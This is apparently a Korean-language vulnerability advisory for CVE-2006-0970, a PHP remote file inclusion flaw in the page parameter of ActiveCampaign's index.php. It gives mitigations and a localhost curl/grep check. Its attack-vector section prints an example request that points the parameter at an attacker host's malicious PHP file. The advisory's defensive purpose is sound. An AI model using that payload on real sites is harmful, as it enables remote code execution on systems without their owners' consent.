🔍 CVE-2006-0970

7.5
CVSS Score
HIGH
2006-03-03
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

ActiveCampaign 제품의 index.php 파일에서 page 파라미터에 대한 입력 검증이 미흡하여, 공격자가 원격에서 임의의 파일을 포함하고 실행할 수 있는 PHP 원격 파일 포함 취약점입니다. 웹 서버가 외부 URL 포함을 허용하는 경우 더욱 위험합니다.

💡 쉬운 설명

웹사이트의 page 파라미터를 통해 다른 파일을 로드하도록 조작하면, 해커가 자신의 악성 코드를 실행할 수 있습니다. 마치 누군가 몰래 당신 컴퓨터에 파일을 밀어넣고 실행하는 것과 같습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in index.php in one or more ActiveCampaign products, possibly SupportTrio, allows remote attackers to include and execute arbitrary files via the page parameter.

📍 영향받는 시스템

ActiveCampaign 제품(SupportTrio 포함 가능) - 정확한 버전명은 공개되지 않았으며, 2006년 이전 버전으로 추정됨

⚔️ 공격 벡터

HTTP GET 요청으로 page 파라미터에 파일 경로나 원격 URL을 입력 - 예: /index.php?page=http://attacker.com/malicious.php

🛡️ 대응 방법

ActiveCampaign를 최신 버전으로 업그레이드하고, 모든 파일 포함 함수(include/require) 앞에 입력 검증을 추가하며, allow_url_include=Off 설정

🔧 검증 코드

curl 명령어로 page 파라미터가 파일 포함에 사용되는지 확인하고, grep으로 source code에서 직접 vulnerable pattern을 검색하여 취약점 존재 여부 판단

Shell / Script
curl -s 'http://localhost/index.php?page=test' 2>/dev/null | head -c 200 && grep -n 'include.*\$_GET' /var/www/html/index.php 2>/dev/null

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP